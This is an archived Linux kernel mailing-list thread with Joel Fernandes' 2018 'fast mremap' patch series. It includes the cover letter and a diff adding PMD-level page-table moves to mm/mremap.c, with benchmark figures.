Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH -next-akpm 0/3] Add support for fast mremap
Date: Thu,  8 Nov 2018 10:11:58 -0800
Lines: 87
Approved: news@gmane.org
Message-ID: <20181108181201.88826-1-joelaf@google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1541700625 19107 195.159.176.226 (8 Nov 2018 18:10:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Nov 2018 18:10:25 +0000 (UTC)
Cc: Joel Fernandes <joelaf@google.com>, linux-mips@linux-mips.org,
 Rich Felker <dalias@libc.org>, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 anton.ivanov@kot-begemot.co.uk, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.ed
To: linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Nov 08 19:10:16 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gKokx-0004kP-NL
	for gla-linux-snps-arc@m.gmane.org; Thu, 08 Nov 2018 19:10:16 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:Message-Id:Date:Subject:To
	:From:Reply-To:Content-ID:Content-Description:Resent-Date:Resent-From:
	Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:
	List-Owner; bh=Bdar5OLDgwW+6zYoh19yhVf09YDUtIoxXu0HDsx1usg=; b=EhjjzrBWVxANfZ
	xRm/7pKN1Sfze+WNkV1iAakvC78Y0MJZPwGbxYu4001Zgi0UrH/shj4+1zQ/a9VKepD7Je+Fmr0lj
	H2lwHEjxPY8M+rbvGYuHA4YrVB7xCCFN9as9OaoL4O6PKl8jQpSgc5VvMU1AVOedV8NgfpI7Geoa6
	RysdgxUwDplfisJtTtpOTK9BfEX55rcmlvF/vVSN/MbgR/y0lVY1pLeDO1fOMXTutWSwPLXgyKhH2
	8flgVbD5XEcs+JCz81QUwQtPWheHcp0r8C/S0cVKr7S0fuFvS4vwLVM02sXsCpJpEWBb5kXHH6M9W
	EMk5lJBf/CXLBr3J1ctA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gKon3-00088H-SE; Thu, 08 Nov 2018 18:12:25 +0000
Original-Received: from mail-pl1-x643.google.com ([2607:f8b0:4864:20::643])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gKon0-00086O-NQ
 for linux-snps-arc@lists.infradead.org; Thu, 08 Nov 2018 18:12:24 +0000
Original-Received: by mail-pl1-x643.google.com with SMTP id n4-v6so9908824plp.2
 for <linux-snps-arc@lists.infradead.org>; Thu, 08 Nov 2018 10:12:11 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=from:to:cc:subject:date:message-id:mime-version
 :content-transfer-encoding;
 bh=B0gA8LsXswfrIAmbtYisG71JTJmLmakfJ+ILccJByaU=;
 b=buc3UhoKkeYLzhfy1LFvSgTevjKzuw+S/EPNcM7/J1DWFKB4AczvPH1MMD5Ak06Z9l
 1Xlxhv1dwM8hMSb36qsqIYc3EEW/DmX/L4l/q+89z1P8aLicH26pXwnG2h8/KhPOVHe+
 TvMvNwTMBp+zR1I4QvrRyuY93K0+fxHhDJoc8=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:mime-version
 :content-transfer-encoding;
 bh=B0gA8LsXswfrIAmbtYisG71JTJmLmakfJ+ILccJByaU=;
 b=npUornAQhdrLj0bMm79JtvUu/CsgM+WCr+7jiLuKo0TREGqW17h9v7NwYFkkl/4+mM
 zuxtLCW+CnqvJlP6jQL/f2FLx0cGWcHO5l36hq0rMqQdYfLECs/TfweagW3r/S2IQ2mF
 LgPdlVF8QngAsqe8GIRuAWm3vRenOfpcip6ymAvwgwqlOYaMwlRyr5O8yE9ZrmlsROI3
 S6VBwkcp0EJuTVrPZsiLmJQAQL1NxgH2RDvOPmelj+MVEHMftTkIM0oL9qvFrvNoxjfl
 FY+GGQyMX4TvyzkqLkGDsF0Y7puer8HZ8J+N9u1ND1ru/NKUObCCjpWm0g//xwvGJpIa
 xO5A==
X-Gm-Message-State: AGRZ1gLz55obdyJUtrBvoC2BsSN+qUUHjKBOSlV3R0RCaO2FcprdbX2G
 hZvDQTphnbgWR+L2M2R1nZMcwA==
X-Google-Smtp-Source: AJdET5dLCU23zzCHPNag7xR8IOaOFzKVkGtOPwTljtbBZ3ntwXCVtlPSlP8LPHJ3t2lbqbPj9+G8OQ==
X-Received: by 2002:a17:902:4583:: with SMTP id
 n3-v6mr5496253pld.53.1541700730786; 
 Thu, 08 Nov 2018 10:12:10 -0800 (PST)
Original-Received: from joelaf.mtv.corp.google.com
 ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id 64-v6sm10028533pfa.120.2018.11.08.10.12.08
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Thu, 08 Nov 2018 10:12:09 -0800 (PST)
X-Google-Original-From: Joel Fernandes <joelaf@google.com>
X-Mailer: git-send-email 2.19.1.930.g4563a0d9d0-goog
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181108_101222_814304_C855EA1A 
X-CRM114-Status: GOOD (  13.60  )
X-Spam-Score: -0.2 (/)
X-Spam-Report: SpamAssassin version 3.4.2 on bombadil.infradead.org summary:
 Content analysis details:   (-0.2 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/,
 no trust [2607:f8b0:4864:20:0:0:0:643 listed in]
 [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_EF          Message has a valid DKIM or DK signature from
 envelope-from domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
 valid
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
 author's domain
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4722 gmane.linux.kernel:2919503 gmane.linux.ports.mips.general:67362 gmane.linux.ports.ia64:29467 gmane.linux.ports.sh.devel:57775 gmane.linux.kernel.mm:206752 gmane.linux.ports.sparc:28746 gmane.linux.ports.riscv:1450 gmane.linux.ports.hexagon:2009 gmane.comp.emulators.kvm.arm.devel:19743 gmane.linux.ports.parisc:29273 gmane.linux.ports.alpha:5422 gmane.linux.ports.ppc64.devel:165406
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4722>

Hi,
Here is the "fast mremap" series. This just a repost with Kirill's Acked-bys
added and William's Reviewed-by added. Also fixed a UML build error reported
last week. I would like this to be considered for linux -next. The performance
numbers in the series are for testing on x86. The config enablement patch for
arm64 will be posted in the future after testing (see notes below).

List of patches in series:

(1) mm: select HAVE_MOVE_PMD in x86 for faster mremap

(2) mm: speed up mremap by 20x on large regions (v5)
v1->v2: Added support for per-arch enablement (Kirill Shutemov)
v2->v3: Updated commit message to state the optimization may also
	run for non-thp type of systems (Daniel Col).
v3->v4: Remove useless pmd_lock check (Kirill Shutemov)
	Rebased ontop of Linus's master, updated perf results based
        on x86 testing. Added Kirill's Acks.
v4->v5: Added William's Reviewed-by. Fixed arch/um build error
	due to set_pmd_at not defined. Rebased on linux-next/akpm.

(3) mm: treewide: remove unused address argument from pte_alloc functions (v2)
v1->v2: fix arch/um/ prototype which was missed in v1 (Anton Ivanov)
        update changelog with manual fixups for m68k and microblaze.

not included - (4) mm: select HAVE_MOVE_PMD in arm64 for faster mremap
    This patch is dropped since last posting pending further performance
    testing on arm64 with new TLB gather updates. See notes in patch
    titled "mm: speed up mremap by 500x on large regions" for more
    details.

Joel Fernandes (Google) (3):
mm: treewide: remove unused address argument from pte_alloc functions
(v2)
mm: speed up mremap by 20x on large regions (v5)
mm: select HAVE_MOVE_PMD in x86 for faster mremap

arch/Kconfig                                 |  5 ++
arch/alpha/include/asm/pgalloc.h             |  6 +-
arch/arc/include/asm/pgalloc.h               |  5 +-
arch/arm/include/asm/pgalloc.h               |  4 +-
arch/arm64/include/asm/pgalloc.h             |  4 +-
arch/hexagon/include/asm/pgalloc.h           |  6 +-
arch/ia64/include/asm/pgalloc.h              |  5 +-
arch/m68k/include/asm/mcf_pgalloc.h          |  8 +--
arch/m68k/include/asm/motorola_pgalloc.h     |  4 +-
arch/m68k/include/asm/sun3_pgalloc.h         |  6 +-
arch/microblaze/include/asm/pgalloc.h        | 19 +-----
arch/microblaze/mm/pgtable.c                 |  3 +-
arch/mips/include/asm/pgalloc.h              |  6 +-
arch/nds32/include/asm/pgalloc.h             |  5 +-
arch/nios2/include/asm/pgalloc.h             |  6 +-
arch/openrisc/include/asm/pgalloc.h          |  5 +-
arch/openrisc/mm/ioremap.c                   |  3 +-
arch/parisc/include/asm/pgalloc.h            |  4 +-
arch/powerpc/include/asm/book3s/32/pgalloc.h |  4 +-
arch/powerpc/include/asm/book3s/64/pgalloc.h | 12 ++--
arch/powerpc/include/asm/nohash/32/pgalloc.h |  4 +-
arch/powerpc/include/asm/nohash/64/pgalloc.h |  6 +-
arch/powerpc/mm/pgtable-book3s64.c           |  2 +-
arch/powerpc/mm/pgtable_32.c                 |  4 +-
arch/riscv/include/asm/pgalloc.h             |  6 +-
arch/s390/include/asm/pgalloc.h              |  4 +-
arch/sh/include/asm/pgalloc.h                |  6 +-
arch/sparc/include/asm/pgalloc_32.h          |  5 +-
arch/sparc/include/asm/pgalloc_64.h          |  6 +-
arch/sparc/mm/init_64.c                      |  6 +-
arch/sparc/mm/srmmu.c                        |  4 +-
arch/um/include/asm/pgalloc.h                |  4 +-
arch/um/kernel/mem.c                         |  4 +-
arch/unicore32/include/asm/pgalloc.h         |  4 +-
arch/x86/Kconfig                             |  1 +
arch/x86/include/asm/pgalloc.h               |  4 +-
arch/x86/mm/pgtable.c                        |  4 +-
arch/xtensa/include/asm/pgalloc.h            |  8 +--
include/linux/mm.h                           | 13 ++--
mm/huge_memory.c                             |  8 +--
mm/kasan/kasan_init.c                        |  2 +-
mm/memory.c                                  | 17 +++---
mm/migrate.c                                 |  2 +-
mm/mremap.c                                  | 64 +++++++++++++++++++-
mm/userfaultfd.c                             |  2 +-
virt/kvm/arm/mmu.c                           |  2 +-
46 files changed, 165 insertions(+), 147 deletions(-)

--
2.19.1.930.g4563a0d9d0-goog

From - Thu Nov 08 21:42:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.riscv,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH -next-akpm 2/3] mm: speed up mremap by 20x on large regions
 (v5)
Date: Thu,  8 Nov 2018 10:12:00 -0800
Lines: 147
Approved: news@gmane.org
Message-ID: <20181108181201.88826-3-joelaf@google.com>
References: <20181108181201.88826-1-joelaf@google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1541700633 19892 195.159.176.226 (8 Nov 2018 18:10:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Nov 2018 18:10:33 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>,
 William Kucharski <william.kucharski@oracle.com>, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, anton.ivanov@kot-begemot.co.uk,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, sparclinux@vger.kernel.org,
 linux-xtensa@linux-xtensa.org, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan
To: linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Nov 08 19:10:23 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gKol3-0004rQ-E4
	for gla-linux-snps-arc@m.gmane.org; Thu, 08 Nov 2018 19:10:21 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:In-Reply-To:
	Message-Id:Date:Subject:To:From:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=iLxHk94uDU0koaX1IFyb8fgfQHoACpO4WhiKexn88pI=; b=P/IY3bLLBLpjXM
	6viD1DiyXxbNu88YBnPe11gq6VVUos75/DOwJ8yhg8kQ4desD2s7lJoptaBDGwuZ6qBlSSccE2UCi
	o9mXbHv9nDb37bHeaMboqo6/xvSfKLsMLrSnAljZKvSMhu1uh83it6529rDUW4tFZlM0vpqx3Bs9F
	2hI4V8w/uXNPwG3ChMe3Wgmxoj56nyK79S7dKnoMZ2JqSfd8n3Ejoe5c4PBnV/zocasVxGsD/ny7a
	wSOjrGtefZoKBI1dtVDHUEW9zf6SsNsz6EgE66uOQMFLLQjPxa8/kqAX5RgehsZ81P7xCJ/ZQ/iX/
	Tyezv4KsyL/ySVU2EM3A==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gKon9-0008Ch-3p; Thu, 08 Nov 2018 18:12:31 +0000
Original-Received: from mail-pg1-x543.google.com ([2607:f8b0:4864:20::543])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gKon5-00086Y-5e
 for linux-snps-arc@lists.infradead.org; Thu, 08 Nov 2018 18:12:29 +0000
Original-Received: by mail-pg1-x543.google.com with SMTP id z10so7312122pgp.7
 for <linux-snps-arc@lists.infradead.org>; Thu, 08 Nov 2018 10:12:17 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=from:to:cc:subject:date:message-id:in-reply-to:references
 :mime-version:content-transfer-encoding;
 bh=BRzIw96c42MBsppp+UtkS27cZw2ziHLGOZAWHCwUwkU=;
 b=VLb+fI0e5CupBhLX7SEpqp6aMYCEmrno2/+PWx1Fj5vgMnrhqgQj4nIpkri0wUpbG8
 F4GPWoT5NbHXAaJTdGVfn6zckMlMvaTWgcceAQNHhxzEznYU/sGs1Oziz5WMuk+Y2lPY
 nZdjL8GBrbofS49q8gzGHo1DibcI7hQLaT5lY=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references:mime-version:content-transfer-encoding;
 bh=BRzIw96c42MBsppp+UtkS27cZw2ziHLGOZAWHCwUwkU=;
 b=iqD2mFMAQzAa3x43wXzRqqfzpFIxYSQnqDNPw5dkVv/qd9jIO6BTOD83rE2tHmWhSL
 OWVhCtEH2Mb6GQmcyYGCoJPLAcadbHTW/uKVPtmJo/N18Us07nBsPQ2eUqbDRrN2oPhA
 WwFNMmWm1HU+WJoyCsQhOzfR+D2ftSE0aNKnJSm2PjYhgsdq31+1AtZ19DC3BbobaJxj
 M2503iEjLKIePM2UnGA5FrZ5oyyT71ChQejaepFCStzD2eaQQaVMO2b+gg5fsxaPWmfd
 9Brk/zTN2GkzUGXsz4lBp+0u8jWUCXEbtf3B4fYCy8PZvTO/ry4uUBTm4oa11WaQuyrM
 XWJQ==
X-Gm-Message-State: AGRZ1gLBSnQTxAJKrJx1+XOInsYobsZyX1RitRSFbBc1LrEgJZoujx/t
 ucnYUlXBCc6Af8fssJN9SwILrA==
X-Google-Smtp-Source: AJdET5d03oyVAX8rvXz4lqxLxyGhZaxEcaDz6tsUNfJPuVe8tAAaxUTzs4svhnT0ivYmEFumZgA8Jg==
X-Received: by 2002:a63:2b01:: with SMTP id r1mr4588917pgr.432.1541700736301; 
 Thu, 08 Nov 2018 10:12:16 -0800 (PST)
Original-Received: from joelaf.mtv.corp.google.com
 ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id 64-v6sm10028533pfa.120.2018.11.08.10.12.13
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Thu, 08 Nov 2018 10:12:15 -0800 (PST)
X-Google-Original-From: Joel Fernandes <joelaf@google.com>
X-Mailer: git-send-email 2.19.1.930.g4563a0d9d0-goog
In-Reply-To: <20181108181201.88826-1-joelaf@google.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181108_101227_227033_E192A724 
X-CRM114-Status: GOOD (  17.43  )
X-Spam-Score: -0.2 (/)
X-Spam-Report: SpamAssassin version 3.4.2 on bombadil.infradead.org summary:
 Content analysis details:   (-0.2 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/,
 no trust [2607:f8b0:4864:20:0:0:0:543 listed in]
 [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_EF          Message has a valid DKIM or DK signature from
 envelope-from domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
 valid
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
 author's domain
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4723 gmane.linux.kernel:2919504 gmane.linux.ports.mips.general:67363 gmane.linux.ports.ia64:29468 gmane.linux.ports.sh.devel:57776 gmane.linux.ports.riscv:1451 gmane.linux.ports.sparc:28747 gmane.linux.ports.hexagon:2010 gmane.comp.emulators.kvm.arm.devel:19744 gmane.linux.ports.parisc:29274 gmane.linux.kernel.mm:206753 gmane.linux.ports.alpha:5423 gmane.linux.ports.ppc64.devel:165407
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4723>

From: "Joel Fernandes (Google)" <joel@joelfernandes.org>

Android needs to mremap large regions of memory during memory management
related operations. The mremap system call can be really slow if THP is
not enabled. The bottleneck is move_page_tables, which is copying each
pte at a time, and can be really slow across a large map. Turning on THP
may not be a viable option, and is not for us. This patch speeds up the
performance for non-THP system by copying at the PMD level when possible.

The speed up is an order of magnitude on x86 (~20x). On a 1GB mremap,
the mremap completion times drops from 3.4-3.6 milliseconds to 144-160
microseconds.

Before:
Total mremap time for 1GB data: 3521942 nanoseconds.
Total mremap time for 1GB data: 3449229 nanoseconds.
Total mremap time for 1GB data: 3488230 nanoseconds.

After:
Total mremap time for 1GB data: 150279 nanoseconds.
Total mremap time for 1GB data: 144665 nanoseconds.
Total mremap time for 1GB data: 158708 nanoseconds.

Incase THP is enabled, the optimization is mostly skipped except in
certain situations.

Acked-by: Kirill A. Shutemov <kirill@shutemov.name>
Reviewed-by: William Kucharski <william.kucharski@oracle.com>
Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
---

Note that since the bug fix in [1], we now have to flush the TLB every
PMD move. The above numbers were obtained on x86 with a flush done every
move. For arm64, I previously encountered performance issues doing a
flush everytime we move, however Will Deacon says [2] the performance
should be better now with recent release. Until we can evaluate arm64, I
am dropping the HAVE_MOVE_PMD config enable patch for ARM64 for now. It
can be added back once we finish the performance evaluation. Also of
note is that the speed up on arm64 with this patch but without the TLB
flush every PMD move is around 500x.

[1] https://bugs.chromium.org/p/project-zero/issues/detail?id=1695
[2] https://www.mail-archive.com/linuxppc-dev@lists.ozlabs.org/msg140837.html

 arch/Kconfig |  5 +++++
 mm/mremap.c  | 62 ++++++++++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 67 insertions(+)

diff --git a/arch/Kconfig b/arch/Kconfig
index e1e540ffa979..b70c952ac838 100644
--- a/arch/Kconfig
+++ b/arch/Kconfig
@@ -535,6 +535,11 @@ config HAVE_IRQ_TIME_ACCOUNTING
 	  Archs need to ensure they use a high enough resolution clock to
 	  support irq time accounting and then call enable_sched_clock_irqtime().
 
+config HAVE_MOVE_PMD
+	bool
+	help
+	  Archs that select this are able to move page tables at the PMD level.
+
 config HAVE_ARCH_TRANSPARENT_HUGEPAGE
 	bool
 
diff --git a/mm/mremap.c b/mm/mremap.c
index 7c9ab747f19d..2591e512373a 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -191,6 +191,50 @@ static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
 		drop_rmap_locks(vma);
 }
 
+static bool move_normal_pmd(struct vm_area_struct *vma, unsigned long old_addr,
+		  unsigned long new_addr, unsigned long old_end,
+		  pmd_t *old_pmd, pmd_t *new_pmd)
+{
+	spinlock_t *old_ptl, *new_ptl;
+	struct mm_struct *mm = vma->vm_mm;
+	pmd_t pmd;
+
+	if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
+	    || old_end - old_addr < PMD_SIZE)
+		return false;
+
+	/*
+	 * The destination pmd shouldn't be established, free_pgtables()
+	 * should have release it.
+	 */
+	if (WARN_ON(!pmd_none(*new_pmd)))
+		return false;
+
+	/*
+	 * We don't have to worry about the ordering of src and dst
+	 * ptlocks because exclusive mmap_sem prevents deadlock.
+	 */
+	old_ptl = pmd_lock(vma->vm_mm, old_pmd);
+	new_ptl = pmd_lockptr(mm, new_pmd);
+	if (new_ptl != old_ptl)
+		spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
+
+	/* Clear the pmd */
+	pmd = *old_pmd;
+	pmd_clear(old_pmd);
+
+	VM_BUG_ON(!pmd_none(*new_pmd));
+
+	/* Set the new pmd */
+	set_pmd_at(mm, new_addr, new_pmd, pmd);
+	flush_tlb_range(vma, old_addr, old_addr + PMD_SIZE);
+	if (new_ptl != old_ptl)
+		spin_unlock(new_ptl);
+	spin_unlock(old_ptl);
+
+	return true;
+}
+
 unsigned long move_page_tables(struct vm_area_struct *vma,
 		unsigned long old_addr, struct vm_area_struct *new_vma,
 		unsigned long new_addr, unsigned long len,
@@ -237,7 +281,25 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
 			split_huge_pmd(vma, old_pmd, old_addr);
 			if (pmd_trans_unstable(old_pmd))
 				continue;
+		} else if (extent == PMD_SIZE) {
+#ifdef CONFIG_HAVE_MOVE_PMD
+			/*
+			 * If the extent is PMD-sized, try to speed the move by
+			 * moving at the PMD level if possible.
+			 */
+			bool moved;
+
+			if (need_rmap_locks)
+				take_rmap_locks(vma);
+			moved = move_normal_pmd(vma, old_addr, new_addr,
+					old_end, old_pmd, new_pmd);
+			if (need_rmap_locks)
+				drop_rmap_locks(vma);
+			if (moved)
+				continue;
+#endif
 		}
+
 		if (pte_alloc(new_vma->vm_mm, new_pmd))
 			break;
 		next = (new_addr + PMD_SIZE) & PMD_MASK;
-- 
2.19.1.930.g4563a0d9d0-goog

From - Thu Nov 08 21:42:25 2018
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH -next-akpm 1/3] mm: treewide: remove unused address argument
 from pte_alloc functions (v2)
Date: Thu,  8 Nov 2018 10:11:59 -0800
Lines: 1124
Approved: news@gmane.org
Message-ID: <20181108181201.88826-2-joelaf@google.com>
References: <20181108181201.88826-1-joelaf@google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1541700636 20101 195.159.176.226 (8 Nov 2018 18:10:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Nov 2018 18:10:36 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
